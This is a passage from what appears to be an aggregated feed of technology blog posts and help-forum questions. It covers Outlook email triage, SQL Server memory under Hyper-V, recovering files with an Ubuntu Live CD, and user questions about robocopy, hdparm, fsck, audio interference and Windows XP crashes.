it was sent to is not one I explicitly subscribed to (or I have been added to the BCC line, which I briefly touched on in another post). When there are only a few quick minutes to catch up on email, read as much as possible from these folders, in this order: Invites, Inbox, ToMe++. Only when these folders are all read (remember that doesn't mean that each email in them has been fully dealt with), we can move on to the @XYZ and then the CC folders. Only when those are read we can go on to the remaining folders. Note that the typical flow in the "Z Mass" subfolders is to scan subject lines and use the new Ctrl+Delete Outlook 2010 feature to ignore conversations. D. DO: Use Outlook Search folders in combination with categories As you process each folder, when you open a new email (i.e. click on it and read it in the preview pane) the email becomes read and stays read and you have to decide whether: It can take 2 minutes to deal with for good, right now, or It will take longer than 2 minutes, so it needs to be postponed with a clear next step, which is one of ToReply – there may be intermediate action steps, but ultimately someone else needs to receive email about this Action – no email is required, but I need to do something ReadLater – no email is required from the quick scan, but this is too long to fully read now, so it needs to be read it later WaitingFor – the email is informing of an intermediate status and 'promising' a future email update. Need to track. SomedayMaybe – interesting but not important, non-urgent, non-time-bound information. I may want to spend part of one of my weekends reading it. For all these 'next steps' use Outlook categories (right click on the email and assign category, or use shortcut key). Note that I also use category 'WaitingFor' for email that I send where I am expecting a response and need to track it. Create a new search folder for each category (I dragged the search folders into my favorites at the top left of Outlook, above my inboxes). So after the activity of reading/triaging email in the normal folders (where the email arrived) is done, the result is a bunch of emails appearing in the search folders (configure them to show the total items, not the total unread items). To actually process email (that takes more than 2 minutes to deal with) process the search folders, starting with ToReply and Action. E. DO: Get into a Routine Now you have a system in place, get into a routine of using it. Here is how I personally use mine, but this part I keep tweaking: Spend short bursts of time (between meetings, during boring but mandatory meetings and, in general, 2-4 times a day) aiming to have no unread emails (and in the process deal with some emails that take less than 2 minutes). Spend around 30 minutes at the end of each day processing most urgent items in search folders. Spend as long as it takes each Friday (or even the weekend) ensuring there is no unnecessary email baggage carried forward to the following week. F. Other resources Official Outlook help on: Create custom actions rules, Manage e-mail messages with rules, creating a search folder. Video on ignoring conversations (Ctrl+Del). Official blog post on Quick Steps and in particular the Move Conversation to folder. If you've read "Getting Things Done" it is very obvious that my approach to email management is driven by GTD. A very similar approach was described previously by ScottHa (also influenced by GTD), worth reading here. He also described how he sets up 2 outlook rules ('invites' and 'external') which I also use – worth reading that too. Comments about this post welcome at the original blog.

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  • Processing Email in Outlook

    - by Daniel Moth
    A. Why Goal 1 = Help others: Have at most a 24-hour response turnaround to internal (from colleague) emails, typically achieving same day response. Goal 2 = Help projects: Not to implicitly pass/miss an opportunity to have impact on electronic discussions around any project on the radar. Not achieving goals 1 & 2 = Colleagues stop relying on you, drop you off conversations, don't see you as a contributing resource or someone that cares, you are perceived as someone with no peripheral vision. Note this is perfect if all you are doing is cruising at your job, trying to fly under the radar, with no ambitions of having impact beyond your absolute minimum 'day job'. B. DON'T: Leave unread email lurking around Don't: Receive or process all incoming emails in a single folder ('inbox' or 'unread mail'). This is actually possible if you receive a small number of emails (e.g. new to the job, not working at a company like Microsoft). Even so, with (your future) success at any level (company, community) comes large incoming email, so learn to deal with it. With large volumes, it is best to let the system help you by doing some categorization and filtering on your behalf (instead of trying to do that in your head as you process the single folder). See later section on how to achieve this. Don't: Leave emails as 'unread' (or worse: read them, then mark them as unread). Often done by individuals who think they possess super powers ("I can mentally cache and distinguish between the emails I chose not to read, the ones that are actually new, and the ones I decided to revisit in the future; the fact that they all show up the same (bold = unread) does not confuse me"). Interactions with this super-powered individuals typically end up with them saying stuff like "I must have missed that email you are talking about (from 2 weeks ago)" or "I am a bit behind, so I haven't read your email, can you remind me". TIP: The only place where you are "allowed" unread email is in your Deleted Items folder. Don't: Interpret a read email as an email that has been processed. Doing that, means you will always end up with fake unread email (that you have actually read, but haven't dealt with completely so you then marked it as unread) lurking between actual unread email. Another side effect is reading the email and making a 'mental' note to action it, then leaving the email as read, so the only thing left to remind you to carry out the action is… you. You are not super human, you will forget. This is a key distinction. Reading (or even scanning) a new email, means you now know what needs to be done with it, in order for it to be truly considered processed. Truly processing an email is to, for example, write an email of your own (e.g. to reply or forward), or take a non-email related action (e.g. create calendar entry, do something on some website), or read it carefully to gain some knowledge (e.g. it had a spec as an attachment), or keep it around as reference etc. 'Reading' means that you know what to do, not that you have done it. An email that is read is an email that is triaged, not an email that is resolved. Sometimes the thing that needs to be done based on receiving the email, you can (and want) to do immediately after reading the email. That is fine, you read the email and you processed it (typically when it takes no longer than X minutes, where X is your personal tolerance – mine is roughly 2 minutes). Other times, you decide that you don't want to spend X minutes at that moment, so after reading the email you need a quick system for "marking" the email as to be processed later (and you still leave it as 'read' in outlook). See later section for how. C. DO: Use Outlook rules and have multiple folders where incoming email is automatically moved to Outlook email rules are very powerful and easy to configure. Use them to automatically file email into folders. Here are mine (note that if a rule catches an email message then no further rules get processed): "personal" Email is either personal or business related. Almost all personal email goes to my gmail account. The personal emails that end up on my work email account, go to a dedicated folder – that is achieved via a rule that looks at the email's 'From' field. For those that slip through, I use the new Outlook 2010  quick step of "Conversation To Folder" feature to let the slippage only occur once per conversation, and then update my rules. "External" and "ViaBlog" The remaining external emails either come from my blog (rule on the subject line) or are unsolicited (rule on the domain name not being microsoft) and they are filed accordingly. "invites" I may do a separate blog post on calendar management, but suffice to say it should be kept up to date. All invite requests end up in this folder, so that even if mail gets out of control, the calendar can stay under control (only 1 folder to check). I.e. so I can let the organizer know why I won't be attending their meeting (or that I will be). Note: This folder is the only one that shows the total number of items in it, instead of the total unread. "Inbox" The only email that ends up here is email sent TO me and me only. Note that this is also the only email that shows up above the systray icon in the notification toast – all other emails cannot interrupt. "ToMe++" Email where I am on the TO line, but there are other recipients as well (on the TO or CC line). "CC" Email where I am on the CC line. I need to read these, but nobody is expecting a response or action from me so they are not as urgent (and if they are and follow up with me, they'll receive a link to this). "@ XYZ" Emails to aliases that are about projects that I directly work on (and I wasn't on the TO or CC line, of course). Test: these projects are in my commitments that I get measured on at the end of the year. "Z Mass" and subfolders under it per distribution list (DL) Emails to aliases that are about topics that I am interested in, but not that I formally own/contribute to. Test: if I unsubscribed from these aliases, nobody could rightfully complain. "Admin" folder, which resides under "Z Mass" folder Emails to aliases that I was added typically by an admin, e.g. broad emails to the floor/group/org/building/division/company that I am a member of. "BCC" folder, which resides under "Z Mass" Emails where I was not on the TO or the CC line explicitly and the alias it was sent to is not one I explicitly subscribed to (or I have been added to the BCC line, which I briefly touched on in another post). When there are only a few quick minutes to catch up on email, read as much as possible from these folders, in this order: Invites, Inbox, ToMe++. Only when these folders are all read (remember that doesn't mean that each email in them has been fully dealt with), we can move on to the @XYZ and then the CC folders. Only when those are read we can go on to the remaining folders. Note that the typical flow in the "Z Mass" subfolders is to scan subject lines and use the new Ctrl+Delete Outlook 2010 feature to ignore conversations. D. DO: Use Outlook Search folders in combination with categories As you process each folder, when you open a new email (i.e. click on it and read it in the preview pane) the email becomes read and stays read and you have to decide whether: It can take 2 minutes to deal with for good, right now, or It will take longer than 2 minutes, so it needs to be postponed with a clear next step, which is one of ToReply – there may be intermediate action steps, but ultimately someone else needs to receive email about this Action – no email is required, but I need to do something ReadLater – no email is required from the quick scan, but this is too long to fully read now, so it needs to be read it later WaitingFor – the email is informing of an intermediate status and 'promising' a future email update. Need to track. SomedayMaybe – interesting but not important, non-urgent, non-time-bound information. I may want to spend part of one of my weekends reading it. For all these 'next steps' use Outlook categories (right click on the email and assign category, or use shortcut key). Note that I also use category 'WaitingFor' for email that I send where I am expecting a response and need to track it. Create a new search folder for each category (I dragged the search folders into my favorites at the top left of Outlook, above my inboxes). So after the activity of reading/triaging email in the normal folders (where the email arrived) is done, the result is a bunch of emails appearing in the search folders (configure them to show the total items, not the total unread items). To actually process email (that takes more than 2 minutes to deal with) process the search folders, starting with ToReply and Action. E. DO: Get into a Routine Now you have a system in place, get into a routine of using it. Here is how I personally use mine, but this part I keep tweaking: Spend short bursts of time (between meetings, during boring but mandatory meetings and, in general, 2-4 times a day) aiming to have no unread emails (and in the process deal with some emails that take less than 2 minutes). Spend around 30 minutes at the end of each day processing most urgent items in search folders. Spend as long as it takes each Friday (or even the weekend) ensuring there is no unnecessary email baggage carried forward to the following week. F. Other resources Official Outlook help on: Create custom actions rules, Manage e-mail messages with rules, creating a search folder. Video on ignoring conversations (Ctrl+Del). Official blog post on Quick Steps and in particular the Move Conversation to folder. If you've read "Getting Things Done" it is very obvious that my approach to email management is driven by GTD. A very similar approach was described previously by ScottHa (also influenced by GTD), worth reading here. He also described how he sets up 2 outlook rules ('invites' and 'external') which I also use – worth reading that too. Comments about this post welcome at the original blog.

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  • SQL Server and Hyper-V Dynamic Memory Part 2

    - by SQLOS Team
    Part 1 of this series was an introduction and overview of Hyper-V Dynamic Memory. This part looks at SQL Server memory management and how the SQL engine responds to changing OS memory conditions.   Part 2: SQL Server Memory Management As with any Windows process, sqlserver.exe has a virtual address space (VAS) of 4GB on 32-bit and 8TB in 64-bit editions. Pages in its VAS are mapped to pages in physical memory when the memory is committed and referenced for the first time. The collection of VAS pages that have been recently referenced is known as the Working Set. How and when SQL Server allocates virtual memory and grows its working set depends on the memory model it uses. SQL Server supports three basic memory models:   1. Conventional Memory Model   The Conventional model is the default SQL Server memory model and has the following properties: - Dynamic - can grow or shrink its working set in response to load and external (operating system) memory conditions. - OS uses 4K pages – (not to be confused with SQL Server “pages” which are 8K regions of committed memory).- Pageable - Can be paged out to disk by the operating system.   2. Locked Page Model The locked page memory model is set when SQL Server is started with "Lock Pages in Memory" privilege*. It has the following characteristics: - Dynamic - can grow or shrink its working set in the same way as the Conventional model.- OS uses 4K pages - Non-Pageable – When memory is committed it is locked in memory, meaning that it will remain backed by physical memory and will not be paged out by the operating system. A common misconception is to interpret "locked" as non-dynamic. A SQL Server instance using the locked page memory model will grow and shrink (allocate memory and release memory) in response to changing workload and OS memory conditions in the same way as it does with the conventional model.   This is an important consideration when we look at Hyper-V Dynamic Memory – “locked” memory works perfectly well with “dynamic” memory.   * Note in “Denali” (Standard Edition and above), and in SQL 2008 R2 64-bit (Enterprise and above editions) the Lock Pages in Memory privilege is all that is required to set this model. In 2008 R2 64-Bit standard edition it also requires trace flag 845 to be set, in 2008 R2 32-bit editions it requires sp_configure 'awe enabled' 1.   3. Large Page Model The Large page model is set using trace flag 834 and potentially offers a small performance boost for systems that are configured with large pages. It is characterized by: - Static - memory is allocated at startup and does not change. - OS uses large (>2MB) pages - Non-Pageable The large page model is supported with Hyper-V Dynamic Memory (and Hyper-V also supports large pages), but you get no benefit from using Dynamic Memory with this model since SQL Server memory does not grow or shrink. The rest of this article will focus on the locked and conventional SQL Server memory models.   When does SQL Server grow? For “dynamic” configurations (Conventional and Locked memory models), the sqlservr.exe process grows – allocates and commits memory from the OS – in response to a workload. As much memory is allocated as is required to optimally run the query and buffer data for future queries, subject to limitations imposed by:   - SQL Server max server memory setting. If this configuration option is set, the buffer pool is not allowed to grow to more than this value. In SQL Server 2008 this value represents single page allocations, and in “Denali” it represents any size page allocations and also managed CLR procedure allocations.   - Memory signals from OS. The operating system sets a signal on memory resource notification objects to indicate whether it has memory available or whether it is low on available memory. If there is only 32MB free for every 4GB of memory a low memory signal is set, which continues until 64MB/4GB is free. If there is 96MB/4GB free the operating system sets a high memory signal. SQL Server only allocates memory when the high memory signal is set.   To summarize, for SQL Server to grow you need three conditions: a workload, max server memory setting higher than the current allocation, high memory signals from the OS.    When does SQL Server shrink caches? SQL Server as a rule does not like to return memory to the OS, but it will shrink its caches in response to memory pressure. Memory pressure can be divided into “internal” and “external”.   - External memory pressure occurs when the operating system is running low on memory and low memory signals are set. The SQL Server Resource Monitor checks for low memory signals approximately every 5 seconds and it will attempt to free memory until the signals stop.   To free memory SQL Server does the following: ·         Frees unused memory. ·         Notifies Memory Manager Clients to release memory o   Caches – Free unreferenced cache objects. o   Buffer pool - Based on oldest access times.   The freed memory is released back to the operating system. This process continues until the low memory resource notifications stop.    - Internal memory pressure occurs when the size of different caches and allocations increase but the SQL Server process needs to keep its total memory within a target value. For example if max server memory is set and certain caches are growing large, it will cause SQL to free memory for re-use internally, but not to release memory back to the OS. If you lower the value of max server memory you will generate internal memory pressure that will cause SQL to release memory back to the OS.    Memory pressure handling has not changed much since SQL 2005 and it was described in detail in a blog post by Slava Oks.   Note that SQL Server Express is an exception to the above behavior. Unlike other editions it does not assume it is the most important process running on the system but tries to be more “desktop” friendly. It will empty its working set after a period of inactivity.   How does SQL Server respond to changing OS memory?    In SQL Server 2005 support for Hot-Add memory was introduced. This feature, available in Enterprise and above editions, allows the server to make use of any extra physical memory that was added after SQL Server started. Being able to add physical memory when the system is running is limited to specialized hardware, but with the Hyper-V Dynamic Memory feature, when new memory is allocated to a guest virtual machine, it looks like hot-add physical memory to the guest. What this means is that thanks to the hot-add memory feature, SQL Server 2005 and higher can dynamically grow if more “physical” memory is granted to a guest VM by Hyper-V dynamic memory.   SQL Server checks OS memory every second and dynamically adjusts its “target” (based on available OS memory and max server memory) accordingly.   In “Denali” Standard Edition will also have sqlserver.exe support for hot-add memory when running virtualized (i.e. detecting and acting on Hyper-V Dynamic Memory allocations).   How does a SQL Server workload in a guest VM impact Hyper-V dynamic memory scheduling?   When a SQL workload causes the sqlserver.exe process to grow its working set, the Hyper-V memory scheduler will detect memory pressure in the guest VM and add memory to it. SQL Server will then detect the extra memory and grow according to workload demand. In our tests we have seen this feedback process cause a guest VM to grow quickly in response to SQL workload - we are still working on characterizing this ramp-up.    How does SQL Server respond when Hyper-V removes memory from a guest VM through ballooning?   If pressure from other VM's cause Hyper-V Dynamic Memory to take memory away from a VM through ballooning (allocating memory with a virtual device driver and returning it to the host OS), Windows Memory Manager will page out unlocked portions of memory and signal low resource notification events. When SQL Server detects these events it will shrink memory until the low memory notifications stop (see cache shrinking description above).    This raises another question. Can we make SQL Server release memory more readily and hence behave more "dynamically" without compromising performance? In certain circumstances where the application workload is predictable it may be possible to have a job which varies "max server memory" according to need, lowering it when the engine is inactive and raising it before a period of activity. This would have limited applicaability but it is something we're looking into.   What Memory Management changes are there in SQL Server “Denali”?   In SQL Server “Denali” (aka SQL11) the Memory Manager has been re-written to be more efficient. The main changes are summarized in this post. An important change with respect to Hyper-V Dynamic Memory support is that now the max server memory setting includes any size page allocations and managed CLR procedure allocations it now represents a closer approximation to total sqlserver.exe memory usage. This makes it easier to calculate a value for max server memory, which becomes important when configuring virtual machines to work well with Hyper-V Dynamic Memory Startup and Maximum RAM settings.   Another important change is no more AWE or hot-add support for 32-bit edition. This means if you're running a 32-bit edition of Denali you're limited to a 4GB address space and will not be able to take advantage of dynamically added OS memory that wasn't present when SQL Server started (though Hyper-V Dynamic Memory is still a supported configuration).   In part 3 we’ll develop some best practices for configuring and using SQL Server with Dynamic Memory. Originally posted at http://blogs.msdn.com/b/sqlosteam/

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  • Move Files from a Failing PC with an Ubuntu Live CD

    - by Trevor Bekolay
    You’ve loaded the Ubuntu Live CD to salvage files from a failing system, but where do you store the recovered files? We’ll show you how to store them on external drives, drives on the same PC, a Windows home network, and other locations. We’ve shown you how to recover data like a forensics expert, but you can’t store recovered files back on your failed hard drive! There are lots of ways to transfer the files you access from an Ubuntu Live CD to a place that a stable Windows machine can access them. We’ll go through several methods, starting each section from the Ubuntu desktop – if you don’t yet have an Ubuntu Live CD, follow our guide to creating a bootable USB flash drive, and then our instructions for booting into Ubuntu. If your BIOS doesn’t let you boot using a USB flash drive, don’t worry, we’ve got you covered! Use a Healthy Hard Drive If your computer has more than one hard drive, or your hard drive is healthy and you’re in Ubuntu for non-recovery reasons, then accessing your hard drive is easy as pie, even if the hard drive is formatted for Windows. To access a hard drive, it must first be mounted. To mount a healthy hard drive, you just have to select it from the Places menu at the top-left of the screen. You will have to identify your hard drive by its size. Clicking on the appropriate hard drive mounts it, and opens it in a file browser. You can now move files to this hard drive by drag-and-drop or copy-and-paste, both of which are done the same way they’re done in Windows. Once a hard drive, or other external storage device, is mounted, it will show up in the /media directory. To see a list of currently mounted storage devices, navigate to /media by clicking on File System in a File Browser window, and then double-clicking on the media folder. Right now, our media folder contains links to the hard drive, which Ubuntu has assigned a terribly uninformative label, and the PLoP Boot Manager CD that is currently in the CD-ROM drive. Connect a USB Hard Drive or Flash Drive An external USB hard drive gives you the advantage of portability, and is still large enough to store an entire hard disk dump, if need be. Flash drives are also very quick and easy to connect, though they are limited in how much they can store. When you plug a USB hard drive or flash drive in, Ubuntu should automatically detect it and mount it. It may even open it in a File Browser automatically. Since it’s been mounted, you will also see it show up on the desktop, and in the /media folder. Once it’s been mounted, you can access it and store files on it like you would any other folder in Ubuntu. If, for whatever reason, it doesn’t mount automatically, click on Places in the top-left of your screen and select your USB device. If it does not show up in the Places list, then you may need to format your USB drive. To properly remove the USB drive when you’re done moving files, right click on the desktop icon or the folder in /media and select Safely Remove Drive. If you’re not given that option, then Eject or Unmount will effectively do the same thing. Connect to a Windows PC on your Local Network If you have another PC or a laptop connected through the same router (wired or wireless) then you can transfer files over the network relatively quickly. To do this, we will share one or more folders from the machine booted up with the Ubuntu Live CD over the network, letting our Windows PC grab the files contained in that folder. As an example, we’re going to share a folder on the desktop called ToShare. Right-click on the folder you want to share, and click Sharing Options. A Folder Sharing window will pop up. Check the box labeled Share this folder. A window will pop up about the sharing service. Click the Install service button. Some files will be downloaded, and then installed. When they’re done installing, you’ll be appropriately notified. You will be prompted to restart your session. Don’t worry, this won’t actually log you out, so go ahead and press the Restart session button. The Folder Sharing window returns, with Share this folder now checked. Edit the Share name if you’d like, and add checkmarks in the two checkboxes below the text fields. Click Create Share. Nautilus will ask your permission to add some permissions to the folder you want to share. Allow it to Add the permissions automatically. The folder is now shared, as evidenced by the new arrows above the folder’s icon. At this point, you are done with the Ubuntu machine. Head to your Windows PC, and open up Windows Explorer. Click on Network in the list on the left, and you should see a machine called UBUNTU in the right pane. Note: This example is shown in Windows 7; the same steps should work for Windows XP and Vista, but we have not tested them. Double-click on UBUNTU, and you will see the folder you shared earlier! As well as any other folders you’ve shared from Ubuntu. Double click on the folder you want to access, and from there, you can move the files from the machine booted with Ubuntu to your Windows PC. Upload to an Online Service There are many services online that will allow you to upload files, either temporarily or permanently. As long as you aren’t transferring an entire hard drive, these services should allow you to transfer your important files from the Ubuntu environment to any other machine with Internet access. We recommend compressing the files that you want to move, both to save a little bit of bandwidth, and to save time clicking on files, as uploading a single file will be much less work than a ton of little files. To compress one or more files or folders, select them, and then right-click on one of the members of the group. Click Compress…. Give the compressed file a suitable name, and then select a compression format. We’re using .zip because we can open it anywhere, and the compression rate is acceptable. Click Create and the compressed file will show up in the location selected in the Compress window. Dropbox If you have a Dropbox account, then you can easily upload files from the Ubuntu environment to Dropbox. There is no explicit limit on the size of file that can be uploaded to Dropbox, though a free account begins with a total limit of 2 GB of files in total. Access your account through Firefox, which can be opened by clicking on the Firefox logo to the right of the System menu at the top of the screen. Once into your account, press the Upload button on top of the main file list. Because Flash is not installed in the Live CD environment, you will have to switch to the basic uploader. Click Browse…find your compressed file, and then click Upload file. Depending on the size of the file, this could take some time. However, once the file has been uploaded, it should show up on any computer connected through Dropbox in a matter of minutes. Google Docs Google Docs allows the upload of any type of file – making it an ideal place to upload files that we want to access from another computer. While your total allocation of space varies (mine is around 7.5 GB), there is a per-file maximum of 1 GB. Log into Google Docs, and click on the Upload button at the top left of the page. Click Select files to upload and select your compressed file. For safety’s sake, uncheck the checkbox concerning converting files to Google Docs format, and then click Start upload. Go Online – Through FTP If you have access to an FTP server – perhaps through your web hosting company, or you’ve set up an FTP server on a different machine – you can easily access the FTP server in Ubuntu and transfer files. Just make sure you don’t go over your quota if you have one. You will need to know the address of the FTP server, as well as the login information. Click on Places > Connect to Server… Choose the FTP (with login) Service type, and fill in your information. Adding a bookmark is optional, but recommended. You will be asked for your password. You can choose to remember it until you logout, or indefinitely. You can now browse your FTP server just like any other folder. Drop files into the FTP server and you can retrieve them from any computer with an Internet connection and an FTP client. Conclusion While at first the Ubuntu Live CD environment may seem claustrophobic, it has a wealth of options for connecting to peripheral devices, local computers, and machines on the Internet – and this article has only scratched the surface. Whatever the storage medium, Ubuntu’s got an interface for it! Similar Articles Productive Geek Tips Backup Your Windows Live Writer SettingsMove a Window Without Clicking the Titlebar in UbuntuRecover Deleted Files on an NTFS Hard Drive from a Ubuntu Live CDCreate a Bootable Ubuntu USB Flash Drive the Easy WayReset Your Ubuntu Password Easily from the Live CD TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips Acronis Online Backup DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows Tech Fanboys Field Guide Check these Awesome Chrome Add-ons iFixit Offers Gadget Repair Manuals Online Vista style sidebar for Windows 7 Create Nice Charts With These Web Based Tools Track Daily Goals With 42Goals

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  • Running Mathematica-5 remotely

    - by oxinabox.ucc.asn.au
    I have Mathematica 5 - a powerful CAS. I have a cheap netbook (running Windows XP), wich not only is too slow to run mathmatica on, I doubt it has the harddrive space. I do however have remote access to a number of very powerful computers, (most of wich run variose Linuxes, but one of which is Windows Server 2008, though I'ld rather not use this one*). Mostly over SSH but other protocols can be arraged for some, I'm sure. So I'ld like to install Mathematica onto one of these machine and then run it remotely. Either from the command line via Putty or via some other method. I glanced through the mathematical documentation and read something about using some MathLink program, which links the front end installed on my computer to a remote kernel. Anyone have any experience with this? I'm not sure if this belongs here or in SuperUser. At the moment, it's being tinkered with, and when the tinkering stops it'll likely be used to run multiple thin terms. As compared to the Linux machines: I have access to a dual 2.4 Xeon with 3GB RAM, which the rest of the world seems to have completely forgotten about (runs freeBSD!).

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  • Why does RoboCopy create a hidden system folder?

    - by Svish
    I thought I would try out RoboCopy for mirroring the contents of a folder to another harddrive. And seems like it worked. But, for some reason, to see the destination folder I have to both enable Show hidden files, folders and drives and disable Hide protected operating system files. Why is this? Both the source and destination folder was initially both visible and normal directories. When I open up the properties for that destination folder, the Hidden attribute is even disabled. What is going on here? Is it because I ran it in an administrator command prompt? Or is it an issue with my choice of modifiers? Or does robocopy really just work this way? robocopy E: I:\E /COPYALL /E /R:0 /MIR /B /ETA Update: Tried to copy another drive to another folder, and I got the same thing happening there. But when I try to just copy a folder to a different folder, then the destination folder stays normal. Could it be because I copy a drive? If so, how can I prevent this from happening? Cause I really do want to copy the whole drive...

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  • Lag in Windows 7 with Zepto Znote 6224W

    - by Xink64
    Hi! Why does my Zepto Znote 6224W Laptop with Windows 7 make these small laggy moves whenever I use it? First I installed Windows 7 64 bit because of the memorycap in Windows 7 32 bit, but soon I realized that the system was lagging randomly. It was very annoying whenever I listened to music, because of the sudden lags. Then I tried everything with drivers; Chipset, Soundcard, Graphicscard, and so on. No luck. I then installed Windows 7 32 bit and this reduced the amount of lags but they are still here. I haven't tried bios upgrade since my bios should be newest according to now the now bankrupt Zepto company. My specifications: Zepto Znote 6224W Intel T8300 Intel Chipset PM965 PC-5300 4gb Nvidia 8600M GT Zepto's rebranded bios: Phoenix Technologies LTD Z14ND06 - Date: 12/20/2007 Harddrive: 320 GB 5400 RPM which I replaced with a Kingston SSDnow 40 GB. No luck either. I haven't tried Windows Vista on the machine though, but I would like to keep Windows 7.

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  • hdparm - how to secure erase SATA SSD over USB

    - by cc0
    I have been following this guide on how to secure erase an SSD (trying to improve the performance of mine, which currently only writes at about 30mb/s seq). However, I'm using an USB--Sata docking device to avoid having the harddrive frozen. Apparently using this solution the SATA device is recognized as a SCSI drive, which is giving me trouble. I use the "hdparm -I /dev/sda" command with those parameters, and I get the error; HDIO_DRIVE_CMD (identify) failed: Invalid Exchange After a lot of googling on the issue I can't seem to find anyone who has actually solved this problem. However, I have not tried to just go ahead and use the secure erase. So I'm not sure if this would actually still work. I would love any and all input I can get on this, especially on whether it will still work to do a secure erase with the drive being recognized as a SCSI drive. The drive itself is a Samsung 256gb SSD (pm800), I'm sure you can understand my reluctance to go through this procedure without feeling reasonably safe that I won't mess it up beyond repair.

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  • Linux: Force fsck of a read-only mounted filesystem?

    - by Timothy Miller
    I'm developing for a headless embedded appliance, running CentOS 6.2. The user can connect a keyboard, but not a monitor, and a serial console would require opening the case, something we don't want the user to have to do. This all pretty much obviates the possibility of using a recovery USB drive to boot from, unless all it does is blindly reimage the harddrive. I would like to provide some recovery facilities, and I have written a tool that comes up on /dev/tty1 in place of getty to provide these functions. One such function is fsck. I have found out how to remount the root and other file systems read-only. Now that they are read-only, it should be safe to fsck them and then reboot. Unfortunately, fsck complains to me that the filesystems are mounted and refuses to do anything. How can I force fsck to run on a read-only mounted partition? Based on my research, this is going to have to be something obscure. "-f" just means to force repair of a clean (but unmounted) partition. I need to repair a clean or unclean mounted partition. From what I read, this is something "only experts" should do, but no one has bothered to explain how the experts do it. I'm hoping someone can reveal this to me. BTW, I've noticed that e2fsck 1.42.4 on Gentoo will let you fsck a mounted partition, even mounted read-write, but it seems only to do so if fsck is run from a terminal, so it can ask the user if they're sure they want to do something so dangerous. I'm not sure if the CentOS version does the same thing, but it appears that fsck CAN repair a mounted partition, but it flatly refuses to when not run from a terminal. One last-resort option is for me to compile my own hacked fsck. But I'm afraid I'll mess it up in some unexpected way. Thanks! Note: Originally posted here.

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  • Mac Mail sent messages not in sent folder

    - by Elizabeth Akers
    Hi. My powerbook G4 has been lobbying for a furlough recently, and its latest prank is to not show sent messages in my sent mailbox. I have always had a copy of every sent message, and now, for some unknown reason, I can only see sent messages from May 7 and earlier. When I did a test, and sent myself an email, it shows up fine in my inbox, but there's nothing in the sent folder. Weird. It also has the little arrow next to messages that I replied to in the inbox. I guess I'm going to have to cc myself on everything until I get this fixed. Also, it's got another new trick, which I'm assuming is unrelated, but I mention it here just in case it is: the battery says it's "good" and has a cycle count of 0, and a full charge capacity of 2139, but for some reason it's all of a sudden not charging when it's plugged in. It works fine when connected to the wall, but there is no battery life at all. Zip. Any thoughts? Is it just time for a new 'book? This one just got back from Apple, having its harddrive replaced for the fourth time (for free, but seriously, this thing is a lemon). Thanks so much, Elizabeth

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  • Audio card with built-in ground isolator?

    - by Dave Jarvis
    What audio cards would you recommend that eliminate hum, and hard-drive & mouse movement signal interference? Hardware components: Motherboard. Asus P5Q SE Audio. Realtek ALC 1200, 8-Channel High-Definition Audio CODEC (on board) Harddrive. WD Caviar 320 GB Mouse. Logitech Marbleman USB Mixer. Mackie d.4 Pro Amplifier. Sonance Sonamp 260 All components are plugged into the same Monster Power HDP 910 powerbar (does not help eliminate noise). I have no other components plugged in. The computer uses a Monster iCable 1000 to go from mini (on board audio) to RCA (mixer). I have moved the cable as far from other cables as possible. A ground loop isolator between the mixer and on board audio eliminates all noise. I would rather not use a ground loop isolator; an internal audio card that is Linux-compatible (Kubuntu) would be ideal. Suggestions?

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  • Virtualization and best hardware sharing scenario for me

    - by azera
    Hello, Following this thread on super user, I now want to start installing all my vm on the hardware. As a remainder, i have a (powerful enough) server on which i want to install 3 OS: there is a debian (general dev testbed purposes), an ipcop (network control/firewall) and a freenas (local network file sharing). I'm wondering which scenario would be the best for me and if I will be able to share the hardware to do what i want; either a - install an hypervisor like the free vmware esx and all three vms in it, or b - install debian, and the other two running inside it with virtual box My need being that: the ipcop should handle all network traffic to the internet, meaning all traffic from my main computer but also all traffic from the other two vm the freenas shares should be accessible from the other two vm and my main computer too i don't really care about the debian access, i only need to access it from my main computer, not the other vms Will I need to install additionnal network cards for each vm or can they all share the same one happily ? (right now I have two, one linking the server to my router [which only ipcop is gonna use] and one linking it to my switch [which i would like all three to use]) As for harddrives, I was going to use 1 harddrive cut in 3 partitions to install all three OSes, then add to that the freenas drives, will it be correct ? Thanks a lot for anyone who can help me, this is kind of a vast area and I'm not sure which way to go at all

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  • can't properly shutdown ubuntu and sound problem on HP mini 311 netbook

    - by Viele
    hi, I recently bought a HP mini 311 netbook. I replaced its harddrive and installed ubuntu 10.04. Since then, I have encountered some very strange problem with its sound and shutdown/reboot. At times, when I start the computer, it will have no sound, on the GUI the sound is at max, but no sound is available. This sometimes also happen after after upgrades, hibernate, and toggling the wireless radio button. Strangely, when the sound is out the device will also refuse to be shutdown. If I shutdown the computer using the GUI, it will simply go back to the log in screen without actually shutting down. If I use "sudo shutdown 0", the computer will hang on the loading screen of the shut down process. I had to force the pc to shutdown by holding the power button down. usually (probably always) after I force a turn-off then start off again. the sound and shutdown become normal. I wonder if anyone have clues regarding to the cause of this problem. This the info about the computer: 1) installed ubuntu 10.04LTS RC, later upgraded to formal released version. 2) cat /proc/asound/version == "Advanced Linux Sound Architecture Driver Version 1.0.21." however, when doing 'alsaconf' the version displayed is 1.0.23 any help is appreciated. Thanks

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  • Windows xp recovery console without Ntfs.sys? (0x00000024 BSOD)

    - by Kalle
    I have two physical disks in a computer, for simlicity lets call them C and D. C: got Windows XP and D: got some data. The problem is that whenever i have D: connected i can't boot windows. I get some BSOD called 0x00000024/NTFS_FILE_SYSTEM. Same thing if i boot up windows with D: disconnected and then connect it once windows has loaded. The KB article about this problem says that i have to run chkdsk but i can't get to somewhere where i can run this because i get a BSOD whenever the disk is connected! Even the recovery-console BSODs if D: is connected. The final option in the KB is to boot the computer on Windows 2000 Setup disks where you edit some file to manually disable the ntfs.sys driver and then run chkdsk. The problem is that i don't have any floppy drive. Is there any way to boot the built in recovery console with ntfs.sys disabled or to burn the floppy version to a cd after you've extracted and modified it on the harddrive? Right now the Windows xp bootable floppy creator(2) is asking me which floppy drive to extract to which i can't answer because i have none :/ Other solutions to the root problem is also appreciated :) (2) ht tp://www.microsoft.com/downloads/details.aspx?FamilyID=55820edb-5039-4955-bcb7-4fed408ea73f&displaylang=en

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  • Usb device not working properly on a Thinkpad T60

    - by Xavierjazz
